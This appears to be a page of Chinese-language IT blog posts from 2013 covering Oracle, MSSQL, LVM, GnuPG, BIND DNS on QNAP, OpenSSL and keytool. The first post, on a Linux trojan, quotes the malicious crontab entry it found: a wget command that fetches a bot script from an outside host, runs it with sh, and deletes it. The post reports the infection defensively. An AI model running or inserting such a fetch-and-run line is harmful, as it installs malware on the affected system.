廣告聯播

2013年11月20日 星期三

Linux 平台上木馬程式的防範

From: Polin Wei

這幾天Linux伺服器有異常流量,可能被添加了一木馬惡意程式,該程式一運行便對外發起了大量的連接,導致整個內網癱瘓掉,該木馬防護的方式非常簡單,只是在Linux crond計時器裡加入以下任務:

[root@lnx tmp]# crontab -e
###@weekly wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1
###@weekly wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1

2013年11月7日 星期四

Oracle Database Initialization Parameter files : PFILEs vs. SPFILEs

From: Polin Wei

spfile & pfile 差異:
Oracle Database 自從 9i 以後的版本,就開始支援 spfile ,spfile & pfile 差異處如下:
  • pfile  :client 端參數文件,是一個文字檔,不能動態修改,可用 notepad 或 vi 來編輯,DBA 通常是指這個 init.ora 文件;修改之後需要重啟資料庫才會生效。
  • spfile:服務器端參數文件(Server Parameter File),這是一個二進位的檔案,編輯 SPFILE 檔案會破壞它,您將無法啟動您的數據庫,要更改參數值,需用指令:"ALTER SYSTEM SET" 來變更; 有了spfile,資料庫的參數可以線上動態修改,部分參數修改之後無需重啟資料庫就可以直接生效。。

可以用下列指令,得知您的資料庫是用那一種模式起動的。
 SQL> SELECT DECODE(value, NULL, 'PFILE', 'SPFILE') "Init File Type"
       FROM sys.v_$parameter WHERE name = 'spfile';

spfile 的優點:
  • 1. 可以用 RMAN 備份 spfile ( spfile 是 Server Parameter File ), RMAN 無法備份 pfile ( client 端參數文件 )
  • 2. 滅少人為修改參數造成的錯誤,spfile 是儲存在資料庫系統裡,用 "ALTER SYSTEM SET" 來變更時,系統會先作檢查。
  • 3. 只有一個 spfile 參數檔,很容易找到與維護。

從 spfile 獲取 pfile:
Create pfile='d:pfileSID.ora' from spfile;
SQL> Create pfile='C:\oraclexe\app\oracle\admin\XE\pfile\pfileSID.ora' from spfile;


從pfile獲取spfile:
Create spfile from pfile='Your_pfile_location'
Create spfile='spfile_location' from pfile='Your_pfile_location'

動態修改參數:
alter system set parameter=Value scope=spfile | both | memory ( Startup nomount 的時候需要讀去 spfile 或 pfile 或 兩者共存,系統以 spfile 優先 )
SQL> ALTER SYSTEM SET open_cursors=300 SCOPE=SPFILE;

SQL> ALTER SYSTEM SET timed_statistics=TRUE
    COMMENT='Changed by Frank on 1 June 2003'
    SCOPE=BOTH
     SID='*';
The SCOPE parameter can be set to SPFILE, MEMORY or BOTH:
  • - MEMORY: Set for the current instance only. This is the default behaviour if a PFILE was used at STARTUP.
  • - SPFILE: update the SPFILE, the parameter will take effect with next database startup
  • - BOTH: affect the current instance and persist to the SPFILE. This is the default behaviour if an SPFILE was used at STARTUP.
  • The COMMENT parameter (optional) specifies a user remark.
 

2013年11月1日 星期五

Oracle Flashback 10g 的資源回收桶 (recycle bin)

From: Polin Wei
  Oracle 從 9i 開始提供了 Flashback Query 功能,可用於恢復錯誤的 DML 操作。在 Oracle 10g 中對 Flashback Query 做了較大改進,不再局限於 Flashback Query ,還可用於恢復錯誤的 DDL(Drop) 操作。
  Flashback Query  是透過一個新的 Package:DBMS_FLASH 來實現。DBA 可使用 Flashback Query 可以及時取得錯誤操作 DML(Delete、Update、Insert) 在當前某一時間點資料庫的映射視圖,DBA 可以利用系統時間或系統改變號(SCN:System Change Number)來指定這個唯讀視圖,並可以針對錯誤進行相應的恢復措施。
  以下來實作一下整個過程:
1. 可以先用下列 SQL 語法來查詢 recyclebin 是否有被 drop 的 table,此時應該是沒有的。
SQL>select object_name,original_name,operation,type,droptime from recyclebin;
 2. 建立測試的 table : demo_users
create table demo_users (id char(2), name varchar2(10));
insert into demo_users values ('01','David');
insert into demo_users values ('02','Scott');
select * from demo_users;
 可以查詢到有兩筆資料在 demo_users 的資料表( Table )裡。
recyclebin_table_select_ok.png
3. 刪除資料表 demo_users 並在查詢資源回收筒中是否有被刪除的資料表。
SQL>drop table demo_users;
SQL>SELECT object_name,original_name,operation,type,droptime 
FROM recyclebin;
(繼續閱讀...)

2013年10月28日 星期一

LVM (Logical Volume Mamager) on Linux 動態放大檔案系統

From: Polin Wei

繼上章 Oracle Linux Install Using LVM, 我們談到 LVM 的好處在於可以動態放大檔案系統,接下來就來做做看,假設我們安裝 Oracle Linux 時的磁碟配置如下,Volume Group:vg0 有三個 Physical Volume 實體磁區(簡稱PV),依下圖的配置來看,vg0 還有大約 13 G 未分配的磁碟空間。

系統安裝完後,可以用指令 lvscan 來查詢 LVM 實際擁有的空間

也可以使用指令 df -h 來看各個磁碟現在的使用狀況

用指令 vgdisplay 查詢一下 Volume Group:vg0 是否有未分配的磁碟空間

當發生磁碟空間不足,而 vg0 仍有未分配的磁碟空間時,就可以利用指令 lvextend -L 來增大空間,這樣是不是很方便呢!!

Oracle Linux Install Using LVM

From: Polin Wei

LVM (Logical Volume Mamager) 概念
使用 LVM,硬碟中的分割區必須加入『Logical Volume Group 邏輯磁區群組(簡稱 VG)』,這種分割區在 LVM 中稱為『Physical Volume 實體磁區(簡稱PV)』,各位可以把 VG 想成是一個大硬碟,然後再從其中切出一塊空間『Logical Volume 邏輯磁區(簡稱 LV)』對應至系統的檔案系統。

除了/boot 分割區,其餘的檔案系統皆可在 Volume Group 在這顆虛擬的大硬碟中。/boot 分割區不可以在 VG 中,因為開機管理程式將無法讀取到它。假如您想要  /  檔案系統在 VG 中,您必須另外建立一個  /boot 分割區,使其不屬於VG 的一員。

VG 可以分割為幾個 『Logical Volume 邏輯磁區』,將會指定它們的掛載點,例如  /opt  與  /,以及檔案系統類型,如 ext4。當某個檔案系統的容量全滿時,VG 中的剩餘空間可以增加到此檔案系統所對映的邏輯磁區以增大此檔案系統大小。
示意圖如下:

2013年10月24日 星期四

MSSQL Server 2012 Restore 備份還原

From: Polin Wei

MSSQL Server 2012 Restore 備份還原概念:
MSSQL Server 2012 Restore 在還原的過程中,有三個階段 (Phase):
1. Data Copy:建立實體檔案,與回存資料
2. Redo:從 LOG File 回存所有已經確認 ( commit ) 的 Transaction
3. Undo:回覆 ( Roll Back ) 在還原時間點時未確認的 Transaction (交易)
至於 MSSQL Server 2012 Restore 還原概念,大致是以下列 4 個步驟,不過這 4 個步驟應該也是大部份資料庫系統採用的方法,像 Oracle DB 的 RMAN 也是如此。
  • 1. 先嚐試執行 Tail-log 備份
  • 2. 回存最近一次全備份
  • 3. 回存最近一次的差異備份
  • 4. 回存所有備份 LOG Fiile 裡的 Transaction ,再回存第一步驟所備份 tail-log 中的 Transaction

備份還原實作
首先建立一個目錄 C:\backups 作為備份的目錄,接下來的步驟則是模擬資料庫 Northwind 的檔案毁損時,資料庫重建的完整過程
--1.建立備份裝置 mybackup(backup device)
指令:
EXEC master.dbo.sp_addumpdevice  @devtype = N'disk', @logicalname = N'mybackup', @physicalname = N'C:\backups\mybackup.bak'

2013年10月16日 星期三

MSSQL Server 2012 Backup 備份

From: Polin Wei

MSSQL Server 2012 Transaction Concept 概念:
MSSQL Server 2012 在資料寫的的運作上,是秉持著 WAL(Write Ahead Logging) 的機制,Transaction 存取磁碟的作業,主要是依照下列 4 個步驟來作業:
  1. 將 Transaction 寫入 LOG File
  2. 將 Transaction 的異動修改 Buffer (記憶體) 裡的資料
  3. 交易完成 Transaction Commit
  4. 將 Buffer (記憶體) 裡的資料寫入 Disk ( Data Files )裡

Recovery Model:
在說明 MSSQL Server 2012 的備份模式前,要先瞭解它的 Recovery Model,MSSQL Server 2012 的 Recovery Model 有三種模式:

  1. Simple:當 Transaction Commit 交易確認後,此 Transaction Log 就會從 LOG File 中清除(Truncate),所以 LOG File 並不會長大,LOG File 的檔案大小永遠保持最小。
  2.   Full:所有的 Transaction 交易都會保留在 LOG File 中,所以 LOG File 會一直長大,除了作備份作業後,LOG File 裡的 Transaction 內容才會被清除(Truncate),當然 LOG File 檔案要縮小,還得手動執行 Shrink Log 才行
  3.  Bulk Logged:當有 Bulk Insert 的 SQL 語法時,這些 批次 的 Transaction 不會記錄在 LOG File 中。

2013年9月11日 星期三

Oracle EBS Flexfield Concepts 彈性欄位的概念

From: Polin Wei

    彈性欄位分成兩種:Key flexfields 與 Descriptive flexfield;Key flexfield 出現在 Form 的一般文字類型的輸入型態
  Key flexfield 出現在 Form 的一般文字輸入型態欄位,Descriptive flexfield 則會在 Form 上出現兩個字元寬的方形標示 [ ] 來代表,由下列的圖示可以得知此兩種 Flexfield 的不同。當點擊此 文字欄位[ ] 時,系統會彈出一個視窗,內含一個 From ,藉此來讓使用者輸入資料。
  Key flexfield 使用的時機,一般是用來儲存其它模組要的值 Code ,例如:組織代碼: Org ID,會計科目: Accounting Code,這些 Code 若有多個截段( Segment ) ,可以組合在一起,就成為一串連續的資料,可稱為 combination。如下圖中 Part 欄位的值:COM-876-LTN。

2013年9月3日 星期二

Oracle EBS Interface - OM : Sale Order import

From: Polin Wei
在 Oracle EBS 的訂單模組( OM : Order Management) 有提供訂單匯入的功能,主要操作的 Table 有兩個 : OE_HEADERS_IFACE_ALL、OE_LINES_IFACE_ALL,詳細請參考 Oracle 官方文件:115omapi.pdf 。以下以範例來作說明:
範例1 : 新訂單
-- Insert a Sales Order Header and make the Order's Status is Booked. (表頭:OE_HEADERS_IFACE_ALL,並作 Booked)
INSERT INTO OE_HEADERS_IFACE_ALL (
order_source_id
,orig_sys_document_ref
,creation_date
,created_by
,last_update_date
,last_updated_by
,operation_code
,sold_to_org_id
,booked_flag
,org_id
,customer_po_number )
VALUES (
1001 --order_source_id
,'12345691' --orig_sys_document_ref
,SYSDATE --creation_date
,-1 --created_by
,SYSDATE --last_update_date
,-1 --last_updated_by
,'INSERT' --operation_code
,1891 --sold_to_org_id
,'Y' --booked_flag
,77 --org_id (for specific ou)
,'12345691' -- customer_po_number 
);
-- Insert a Sales Order Line (表身:OE_LINES_IFACE_ALL)
INSERT INTO OE_LINES_IFACE_ALL (
order_source_id
,orig_sys_document_ref
,orig_sys_line_ref
,inventory_item_id
,ordered_quantity
,operation_code
,created_by
,creation_date
,last_updated_by
,last_update_date
,ship_from_org_id
)
VALUES (
1001 --order_source_id
,'12345691' --orig_sys_document_ref
,'1' --orig_sys_line_ref
,285730 --inventory_item_id
, 1 --ordered_quantity
, 'INSERT' --operation_code
, -1 --created_by
, SYSDATE --creation_date
, -1 --last_updated_by
, SYSDATE --last_update_date
, 77 -- ship_from_org_id
);
至於訂單變更,拆行...等請繼續閱讀 Oracle EBS - Interface

2013年9月2日 星期一

FileZilla Server Interface 遠端管理

From: Polin Wei

FileZilla Server 是一套免費的 FTP Server,它的功能強大且簡單設定,大部份都是按 Next & Next,就可以架好一台專屬於您的 FTP Server,且它也支援遠端管理。只要在 FileZilla Server Interface 介面上,選擇 Edit-> Settings 設定選項中 Admin Interfaxe Settings ,設定可以連入及管理的密碼,這樣遠端的電腦只要有裝 FileZilla Server Interface 管理工具就可以從遠端登入這台 FTP Server 作管理了。

圖例說明:http://mistech.pixnet.net/blog/post/212312273-filezilla-server-interface-遠端管理

2013年8月1日 星期四

Oracle EBS ORG_ID (ORGANIZATION ID) 是向 SEQUENCE HR.HR_ORGANIZATION_UNITS_S 取值

From: Polin Wei

因若干因素, 需有兩台 Oracle EBS 主機, 但這兩台主機的 Org ID 要相同.當這兩台主機的Sequence 不一致時, 該怎麼辦?

我們先可以查看一下控制 Org ID 的 Sequence:  HR.HR_ORGANIZATION_UNITS_S

CREATE SEQUENCE HR.HR_ORGANIZATION_UNITS_S
  START WITH 1041
  MAXVALUE 999999999999999
  MINVALUE 1
  NOCYCLE
  CACHE 20
  NOORDER;

它一次是取20個序號到 Database 的 Cache 中, 所以若有一方較小, 則可以手動去耗掉一些號碼:

select HR.HR_ORGANIZATION_UNITS_S.NEXTVAL
FROM dual;

select hr.HR_ORGANIZATION_UNITS_S.currval
FROM dual;

參考: Oracle EBS Which Sequence Name used to ORG_ID (ORGANIZATION ID)

2013年7月3日 星期三

JavaScript 動態陣列方法

From: Polin Wei

 JavaScript 的動態陣列方法正確的作法如下:

var i = 0;
var aryRow = new Array();
$.each( row, function( key, value ) {
    aryRow[i] = new Array();
    aryRow[i]['key']=key;
    aryRow[i]['value']=value;
    i++;
});


錯誤的寫法:

var i = 0;
var aryRow = new Array();
$.each( row, function( key, value ) {
    var aryRow[i] = new Array();
    aryRow[i]['key']=key;
    aryRow[i]['value']=value;
    i++;
});

2013年6月11日 星期二

GnuPG (GPG) In Win32 免費檔案加解密軟體概念與常用指令

From: Polin Wei

GnuPG (GPG) 是一套完全免費的軟體( GnuPG is the GNU project's complete and free implementation of the OpenPGP standard as defined by RFC4880 . ),也有在實務的商務中使用,安全性很高值得一用。

GnuPG 概念:
GPG, like PGP (Pretty Good Privacy), uses a key pair. This means that when you generate a key, you will create a public copy as well as private copy. The private copy is your copy used to decrypt an incoming file as well sign an outgoing file (but for our purposes, we are only using it to decrypt). The public key is the key you give to the public, which is used to encrypt the files coming to you. First we will create your own key.

These keys are stored in key rings. For GPG, they are stored in the directory that the GPG files were copied into. They are both named with a .GPG extension, and are called pubring.GPG and secring.GPG (to denote the public key ring and the private key ring, respectively).

原文的意思主要是說:GPG 會產生一組 Key ,一個是私鑰 ( Private Key:secring.GPG ) 用來解碼檔案,以及傳出檔案時作簽章 ( sign );一個是公鑰( Public Key:pubring.GPG )是要給客戶的,當客戶要傳檔案給你時,用此公鑰作加密。兩個檔案都是以 .GPG 作為附檔名。

GPG 常用的指令有:
  • gpg --gen-key            /** 產生組 Key ,私鑰 ( Private Key:secring.GPG )&公鑰( Public Key:pubring.GPG ) **/
  • gpg --edit-key [USER-ID] /** 對 USER-ID 作業 **/
        Command> passwd      /** 修改secret key的 Passphrase **/
  • gpg --import             /** 匯入客戶的金鑰 **/
        Command> trust       /** 對此客戶作信認 **/
  • gpg --list-keys          /** 列出所有的公鑰資訊 **/
  • gpg --list-secret-keys   /** 列出私鑰的資訊 **/
  • gpg --encrypt --armor --recipient [public key] --output encryptedfilename unencryptedfilename        /** 加密檔案 **/
  • gpg --always-trust --passphrase-fd 0 --output C:\gnupg\Decrypt\unencryptedfilename  -u "[USER-ID]" --no-tty --decrypt C:\gnupg\Encrypt\encryptedfilename < [passphrase.file] /** 解密 **/
  • gpg --delete-key hex value /** 移除信認的 USER-ID **/

     繼續閱讀:

    GnuPG (GPG) In Win32 免費檔案加解密軟體概念與實作

    GnuPG (GPG) In Win32 免費檔案加解密軟體的運用

     


     

    2013年5月28日 星期二

    php session中存取物件(Object)解决方案

    From: Polin Wei



    在使用java開發時,通常會將物件 Object 存放在session裡面,以便後續的作業中可以取得。但在使用php開發時,在session中存入物件,確實能把物件放進去,也能把整個物件輸出,但就是取不出物件裡面的屬性。會發生下面類似的錯誤資訊:

    USER => __PHP_Incomplete_Class Object (21)
         ->__PHP_Incomplete_Class_Name = "objUser"
         ->user_uid = 0
     這搞了很久,才發現php手冊中有一篇講的是 “序列化物件 - 會話中的物件”,存取應用下列方法:
    • 存放物件在session:
    $_SESSION["USER"] = serialize($USER);

    • 從session取出物件:
    $USER = unserialize( $_SESSION["USER"] );
     可以用 print_r($USER); 傾印出來看應該就正常,這樣這個物件可以正常使用了。

    2013年3月11日 星期一

    Windows 8 MAK 啟動方式

    From: Polin Wei



    請在開始功能表的”執行”輸入”cmd(或是以Win Key+ X),再輸入
    slmgr.vbs ipk xxxxx- xxxxx- xxxxx- xxxxx- xxxxx
    透過Slmgr ipk方式輸入MAK的金鑰至Windows系統
    再至控制台內啟動Windows
    以這種方式就能完成以MAK序號進行啟動.
     

    2013年3月3日 星期日

    QNAP Install DNS Server with BIND ipkg & Auto Run DNS Service

    From: Polin Wei

    買了一台 QNAP TS-119P II ,內鍵沒有 DNS Server 服務,但它提供自行安裝 IPKG 的服務,下面就 Step by Step 來作 DNS Server 安裝設定:

    Step 1:安裝  Optware IPKG 套件
    登入 QNAP WEB 管理介面,一般來說是 http://qnap ip address:8080,在 首頁 >> 應用服務 >> QPKG Center 的可安裝頁面,選擇 Optware IPKG 安裝

    Step 2: 安裝 bind 套件
    登入 Optware 的管理介面,一般來說是 http://qnap ip address/Optware

    Sync packages no yes
    Type: NONE
    Filter

    尋找 bind 套件,並按下 install 安裝

    Install bind

    Installing bind (9.6.1.3-4) to root...
    Downloading http://ipkg.nslu2-linux.org/feeds/optware/cs08q1armel/cross/unstable/bind_9.6.1.3-4_arm.ipk
    Installing openssl (0.9.8v-2) to root...
    Downloading http://ipkg.nslu2-linux.org/feeds/optware/cs08q1armel/cross/unstable/openssl_0.9.8v-2_arm.ipk
    Installing psmisc (22.17-1) to root...
    Downloading http://ipkg.nslu2-linux.org/feeds/optware/cs08q1armel/cross/unstable/psmisc_22.17-1_arm.ipk
    Configuring bind
    Running post-install
    You must now create your named.conf file
    When it is installed in /opt/etc/named/named.conf, execute
                  /opt/etc/init.d/S09named start
    to start service
    You will probably also want to create rndc.conf by running
    rndc-confgen.  Of course, you may want to set your name server
    in the GUI to 127.0.0.1 or your local ip-address
    Configuring openssl
    Configuring psmisc
    update-alternatives: Linking //opt/bin/killall to /opt/bin/psmisc-killall
    update-alternatives: Linking //opt/bin/pidof to /opt/bin/psmisc-killall
    Successfully terminated.
    
    Step 3:Enable SSH Connection 設定 SSH 連結
    將 首頁 >> 網路服務 >> Telnet / SSH 的功能啟動,SSH 的連線工具PuTTY可以從 http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html 網址下載

    Step 4:建立 rndc.key 檔案
    PuTTY連入 QANP 主機,並進入目錄 /opt/etc/named ,若此目錄不存在,則建立此目錄

    mkdir /opt/etc/named
    並在此目錄建立 rndc.key
    [/opt/etc/named] # /opt/sbin/rndc-confgen -a
    wrote key file "/opt/etc/named/rndc.key"


     
    Step 5:CONFIGURING BIND 下列的步驟開始設定 Bind 的 Named 組態

    建立必要的系統檔:
    • named.conf
    每個 DNS Zone 的檔案:
    • db.localhost
    • db.localhost.rev
    • db.leedomain.com
    • db.192.168.2.rev
    named.conf
    # Goes in /opt/etc/named/named.conf

    acl "home" { 192.168.2.0/24; 127.0.0.1; };

    options {
            directory "/opt/etc/named";
            allow-query { "home"; };
            allow-recursion { 192.168.2.0/24; 127.0.0.1; };
            forwarders { 192.168.2.3;8.8.8.8; };
    };

    controls {
            inet 127.0.0.1 allow { localhost; } keys { rndc-key; };
    };

    // log to /var/log/named/example.log all events from info UP in severity (no debug)
    // defaults to use 3 files in rotation
    // BIND 8.x logging MUST COME FIRST in this file
    // BIND 9.x parses the whole file before using the log
    // failure messages up to this point are in (syslog) /var/log/messages
    //
    //logging {
    //  channel weidns_log {
    //   file "/var/log/weidns.log" versions 3 size 2m;
    //   severity info;
    //   print-severity yes;
    //   print-time yes;
    //   print-category yes;
    //};
    //category default {
    //  weidns_log;
    //};
    //};

    // Add local zone definitions here.
    zone "localhost" {
            type master;
            file "db.localhost";
            allow-update { none; };
            notify no;
    };


    zone "0.0.127.in-addr.arpa" {
            type master;
            file "db.localhost.rev";
            allow-update { none; };
            notify no;
    };

    zone "weidns.com" {
            type master;
            file "db.weidns.com";
            allow-update { key "rndc-key"; };
            notify yes;
    };

    zone "2.168.192.in-addr.arpa" {
            type master;
            file "db.192.168.2.rev";
            allow-update { key "rndc-key"; };
            notify yes;
    };

    zone "." {
            type hint;
            file "root.servers";
    };

    include "/opt/etc/named/rndc.key";

    db.localhost
    ;Goes in /opt/etc/named/db.localhost
    $TTL    86400 ; 24 hours could have been written as 24h
    $ORIGIN localhost.
    ; line below = localhost 1D IN SOA localhost root.localhost
    @  1D  IN        SOA @  root (
                                  2013030301 ; serial
                                  3H ; refresh
                                  15 ; retry
                                  1w ; expire
                                  3h ; minimum
                                 )
    @  1D  IN  NS @
       1D  IN  A  127.0.0.1


    db.localhost.rev
    ;Goes in /opt/etc/named/db.localhost.rev
    $TTL    86400 ;
    ; could use $ORIGIN 0.0.127.IN-ADDR.ARPA.
    @       IN      SOA     localhost. root.localhost.  (
                            2013030301 ; Serial
                            3h      ; Refresh
                            15      ; Retry
                            1w      ; Expire
                            3h )    ; Minimum
            IN      NS      localhost.
    1       IN      PTR     localhost.

    db.weidns.com
    ; weidns.com
    ;Goes in /opt/etc/named/db.weidns.com
    $TTL    604800
    @       IN      SOA     ns1.weidns.com.      root.weidns.com.     (
                    2013030301 ; Serial
                        604800 ; Refresh
                         86400 ; Retry
                       2419200 ; Expire
                       604800) ; Negative Cache TTL
    ;
    @       IN      NS      ns1
            IN      MX      10 mail
            IN      A       192.168.2.3
    ns1     IN      A       192.168.2.3
    mail    IN      A       192.168.2.3

    db.192.168.2.rev
    ;Goes in /opt/etc/named/db.192.168.2.rev
    $TTL    86400   ; 1 day
    $ORIGIN 2.168.192.in-addr.arpa.
    @       1D      IN      SOA  ns1.weidns.com. root.weidns.com.     (
                    2006080801 ; Serial
                        604800 ; Refresh
                         86400 ; Retry
                       2419200 ; Expire
                       604800) ; Negative Cache TTL
    ;
    ; Name servers
    3               IN NS   ns1.weidns.com.
    ;
    ; Fixed host mappings allegedly inserted by DDNS

    root.servers


    Step 6:啟動 DNS

    /opt/etc/init.d/S09named start
    /opt/etc/init.d/S09named restart
    /opt/etc/init.d/S09named status 
    Step 7: 驗證 DNS

    可以使用 dig 的指令來利用此 DNS 服務,來反查是否正常運作
    dig @ polinwei.blogspot.com
    可以使用  named -g 來偵錯

    讓 DNS 在開機時自動執行

    DNS 既然要提供服務,自然希望QNAP開機時可以自動執行。這裡您會發現QNAP系統跟其它主流Linux發行版本其中一個很不一樣的地方:它沒有完整支援upstart或者init.d來啟動服務。根據QNAPedia的這篇文章,節錄相關步驟:

    查看 /etc/config/qpkg.conf 這個檔案:

    
    
    # cat /etc/config/qpkg.conf
    宣告一個autorun套件來利用ipkg自動啟動機制:

    [autorun]
    Name = autorun
    Version = 0.1
    Author = PolinWei
    Date = 2013-06-08
    Shell = /share/MD0_DATA/.qpkg/autorun/autorun.sh
    Install_Path = /share/MD0_DATA/.qpkg/autorun
    Enable = TRUE

    其中, ‘Shell’就是要被自動執行的shell腳本。每次QNAP啟動時,那個腳本就會被執行,所以,我們可以將要自動被執行的程式碼寫在那個檔案內。請按照下列步驟建立autorun.sh檔案:

    # mkdir -p /share/MD0_DATA/.qpkg/autorun
    # touch /share/MD0_DATA/.qpkg/autorun/autorun.sh
    # chmod +x /share/MD0_DATA/.qpkg/autorun/autorun.sh

    編輯 autorun.sh ,它的內容會隨後續設定而修改,一個基本可以執行 DNS 的腳本

    # vi /share/MD0_DATA/.qpkg/autorun/autorun.sh

    內容如下:

    #!/bin/sh
    
    # starts the DNS server
    /opt/etc/init.d/S09named start


    參考:
    http://www.nslu2-linux.org/wiki/HowTo/BuildPrimaryDNSServer
    http://crippaandrea.it/blog/2012/05/13/installing-bind-on-qnap
    http://blog.eavatar.com/post/2013/11/setup-home-vpn-server-with-softether-qnap-nas/

    2013年2月21日 星期四

    AppServ + OpenSSL Setup in Win32

    From: Polin Wei

    因為要瞭解憑證,所以需要一個能產生 Private Key,Digital Certificates 及 Trusted Certificate Authorities 的工具,免錢的 OpenSSL 就是一個好的工具,順便結合Apache Httpd Server 作測試。而 AppServ 本身即有 Apache、MySQL、PHP、phpMyAdmin 與 OpenSSL 工具,是最方便的軟體了。

    一、準備檔案:
    下載 AppServ 2.5.10


    二、安裝 Apache Server 與設定:

    1. 先行安裝AppServ,預設路徑應該安裝在 C:/AppServ/Apache2.2/,並先停止Apache伺服器。
    2. 開啟C:\AppServ\Apache2.2\conf 內的 httpd.conf 作修改
    把 LoadModule ssl_module modules/mod_ssl.so 的#註解拿掉
    把 Include conf/extra/httpd-ssl.conf 的#註解拿掉
    三、在 C:\AppServ\Apache2.2\bin資料夾底下看見openssl.exe,滑鼠double click執行它,用它來作憑證

    1. 輸入 genrsa -out server.key 1024 產生rsa私鑰(Server Private Key:server.key)

    2. 利用私鑰(Server Private Key:server.key)來產生簽署申請:輸入 req -new -out server.csr -key server.key -config ../conf/openssl.cnf 產生簽署申請
    Country Name為國籍鍵入TW
    State or Province Name為省份鍵入Taiwan
    Locality Name為所在地
    Organization Name為組織名稱
    Organizational Unit Name為組織內單位
    Common Name為domain name
    Email Address為管理者的電子信箱
    剩餘兩項可不填入
    Step 3 & 4 是模擬 CA 第三方認證單位
    3. 輸入 genrsa -out ca.key 1024 產生CA的rsa私鑰

    4. 輸入 req -new -x509 -days 365 -key ca.key -out ca.crt -config ../conf/openssl.cnf 利用ca私鑰產生待會幫自己主機的簽署憑證,參數同step2上面設定

    5. 接著於C:\AppServ\Apache2.2\bin資料夾內新建demoCA資料夾,並於demoCA資料夾內新增newcerts資料夾,與index.txt跟serial檔案,並利用記事本開啟serial後鍵入01後存檔(這裡的值是參考C:\AppServ\Apache2.2\conf\openssl.cnf檔案裡 [ CA_default ] 這區段中的設定)

    6. 利用step 3 &4 中模擬CA替網站簽署認證的檔案,私鑰:ca.key & 簽署憑證 ca.crt 兩個檔案來替自己的網站提出的簽署憑證申請檔: server.csr 作簽署憑證,產生憑證:server.crt
    輸入ca -in server.csr -out server.crt -cert ca.crt -keyfile ca.key -config ../conf/openssl.cnf

    詢問是否簽署都回答 Y

    7. 將C:\AppServ\Apache2.2\bin底下的私鑰 server.key 及CA簽署過的公鑰 server.crt 兩個檔案複製至C:\AppServ\Apache2.2\conf資料夾底下

    8.打開 C:\Appserv\Apache2.2\conf\extra\http-vhost-ssl.conf檔案,修改部份如下:


    #   General setup for the virtual host
    DocumentRoot "C:/AppServ/www"
    ServerName www.xxx.com:443
    ServerAdmin xxx.xxx@globeunion.com
    ErrorLog "C:/AppServ/Apache2.2/logs/error.log"
    TransferLog "C:/AppServ/Apache2.2/logs/access.log"

    #   Server Certificate:
    SSLCertificateFile "C:/AppServ/Apache2.2/conf/server.crt"
    #   Server Private Key:
    SSLCertificateKeyFile "C:/AppServ/Apache2.2/conf/server.key"

    CustomLog "C:/AppServ/Apache2.2/logs/ssl_request.log" \
              "%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"

    再重啟 Apache Server 即可登入 https://localhost


    Troubleshooting:

    1. 若有 php_mbstring.dll 檔案遺失的警告,則開啟 C:\Windows\php.ini 將extension=php_exif.dll 放置於 extension=php_mbstring.dll 之後即可解決

    2. 在實做的過程中若電腦的 port:443 被佔用著,利用netstat -ano指令可以看到是哪個pid去佔著這個port,再利用 process explorer(在Win7可以執行 Task manager -> Performance -> Resource Monitor)來觀看是哪個程式佔用著,再到服務 Services 關掉即可

    參考:

    AppServ + OpenSSL Setup SSL(https) in Win32 憑證建立


    【php】利用openssl實作ssl網頁加密

    2013年2月6日 星期三

    Java Keytool的使用及申請憑證(以Microsoft Active Directory Certificate Services為例)

    Keytool是一個Java資料證書的管理工具,Keytool將金鑰(key)和證書(certificates)存在一個稱為keystore的檔中 在keystore裡,包含兩種資料:
    • 金鑰實體(Key entity:金鑰(secret key)又或者是私密金鑰和配對公開金鑰(採用非對稱加密)
    • 可信任的證書實體(trusted certificate entries):只包含公開金鑰
    ailas(別名)每個keystore都關聯這一個獨一無二的alias,這個alias通常不區分大小寫 

    JDK中keytool常用指令:
    • -genkey:在用戶主目錄中創建一個預設檔".keystore",還會產生一個mykey的別名,mykey中包含用戶的公開金鑰、私密金鑰和證書(在沒有指定生成位置的情況下,keystore會存在使用者系統預設目錄,如:對於windows系統,會生成在系統的C:\Documents and Settings\UserName\檔案名為“.keystore”)
    • -alias:產生別名
    • -keystore:指定金鑰庫的名稱(產生的各類資訊將不在.keystore文件中)
    • -keyalg:指定金鑰的演算法 (如 RSA  DSA(如果不指定默認採用DSA))
    • -validity:指定創建的證書有效期多少天
    • -keysize:指定金鑰長度
    • -storepass:指定金鑰庫的密碼(獲取keystore資訊所需的密碼)
    • -keypass:指定別名條目的密碼(私密金鑰的密碼)
    • -dname:指定證書擁有者資訊 例如:  "CN=名字與姓氏,OU=組織單位名稱,O=組織名稱,L=城市或區域名稱,ST=州或省份名稱,C=單位的兩字母國家代碼"
    • -list:顯示金鑰庫中的證書資訊      keytool -list -v -keystore 指定keystore -storepass 密碼
    • -v :顯示金鑰庫中的證書詳細資訊
    • -export:將別名指定的證書匯出到檔  keytool -export -alias 需要匯出的別名
    • -keystore:指定keystore -file 指定匯出的證書位置及證書名稱 -storepass 密碼
    • -file:參數指定匯出到檔的檔案名
    • -delete:刪除金鑰庫中某條目 keytool -delete -alias 指定需刪除的別名; -keystore 指定keystore;-storepass 指定密碼
    • -printcert:查看匯出的證書資訊          keytool -printcert -file yushan.crt
    • -keypasswd:修改金鑰庫中指定條目指令:keytool -keypasswd -alias 需修改的別名 -keypass 舊密碼 -new  新密碼  -storepass keystore密碼  -keystore sage
    • -storepasswd:修改keystore指令:keytool -storepasswd -keystore e:\polin.keystore(需修改口令的keystore) -storepass 123456(原始密碼) -new polinwei(新密碼)
    • -import:將已簽名數位憑證導入金鑰庫  keytool -import -alias 指定導入條目的別名 -keystore 指定keystore -file 需導入的證書

    下面是各選項的預設值。
    • -alias "mykey"
    • -keyalg "DSA"
    • -keysize 1024
    • -validity 90
    • -keystore  為使用者主目錄中名為 .keystore 的文件
    • -file 讀入時為標準輸入,寫出時為標準輸出

    2013年1月24日 星期四

    Smarty Initial installation 模板引擎–基本安裝

    From: Polin Wei

    Smarty 下載最新版本,分成版本 V2 或 V3 但初始安裝設定,v2 的寫法目前都仍可以使用,將下載下來的解壓在目錄C:/AppServ/www/project/includes/smarty ,配置如下:
    
    // 定義網站位置
    define('HOST_ROOT', 'C:/AppServ/www/project'); // 最後沒有斜線
    require('includes/smarty/libs/Smarty.class.php');
    
    //定義 Smarty
    $smartyTpl = new Smarty();
